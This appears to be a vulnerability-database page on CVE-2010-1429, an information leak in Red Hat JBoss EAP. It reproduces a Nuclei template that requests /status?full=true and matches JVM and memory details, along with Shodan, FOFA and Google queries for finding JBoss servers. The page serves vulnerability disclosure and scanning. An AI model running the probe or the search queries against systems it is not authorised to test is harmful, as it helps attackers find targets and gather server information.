CVE-2010-1429: Red Hat JBoss Enterprise Application Platform - Sensitive Information Disclosure

2025-08-01 Red Hat JBoss Enterprise Application Platform PoC Public

Description

Red Hat JBoss Enterprise Application Platform 4.2 before 4.2.0.CP09 and 4.3 before 4.3.0.CP08 is susceptible to sensitive information disclosure. A remote attacker can obtain sensitive information about "deployed web contexts" via a request to the status servlet, as demonstrated by a full=true query string. NOTE: this issue exists because of a CVE-2008-3273 regression.

PoC

id: CVE-2010-1429

info:
  name: Red Hat JBoss Enterprise Application Platform - Sensitive Information Disclosure
  author: R12W4N
  severity: medium
  description: |
    Red Hat JBoss Enterprise Application Platform 4.2 before 4.2.0.CP09 and 4.3 before 4.3.0.CP08 is susceptible to sensitive information disclosure. A remote attacker can obtain sensitive information about "deployed web contexts" via a request to the status servlet, as demonstrated by a full=true query string. NOTE: this issue exists because of a CVE-2008-3273 regression.
  impact: |
    An attacker can exploit this vulnerability to gain access to sensitive information, potentially leading to further attacks.
  remediation: |
    Apply the necessary patches or updates provided by Red Hat to fix the vulnerability.
  reference:
    - https://rhn.redhat.com/errata/RHSA-2010-0377.html
    - https://nvd.nist.gov/vuln/detail/CVE-2010-1429
    - https://nvd.nist.gov/vuln/detail/CVE-2008-3273
    - http://marc.info/?l=bugtraq&m=132698550418872&w=2
    - http://securitytracker.com/id?1023918
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2010-1429
    cwe-id: CWE-264
    epss-score: 0.53728
    epss-percentile: 0.98941
    cpe: cpe:2.3:a:redhat:jboss_enterprise_application_platform:*:cp08:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: redhat
    product: jboss_enterprise_application_platform
    shodan-query:
      - title:"JBoss"
      - cpe:"cpe:2.3:a:redhat:jboss_enterprise_application_platform"
      - http.title:"jboss"
    fofa-query: title="jboss"
    google-query: intitle:"jboss"
  tags: cve2010,cve,jboss,eap,tomcat,exposure,redhat,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/status?full=true"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "JVM"
          - "memory"
          - "localhost/"
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a004730450220792816b9c32f8094baffd57a2f2bd69e8a4067261118ee47a140be696fdb6e8402210097f6fbc03cd9b5d7f2d9fb56d681c13cf54968240ecd905b3c29ca660c5b11db:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2010/CVE-2010-1429.yaml

References

Related Vulnerabilities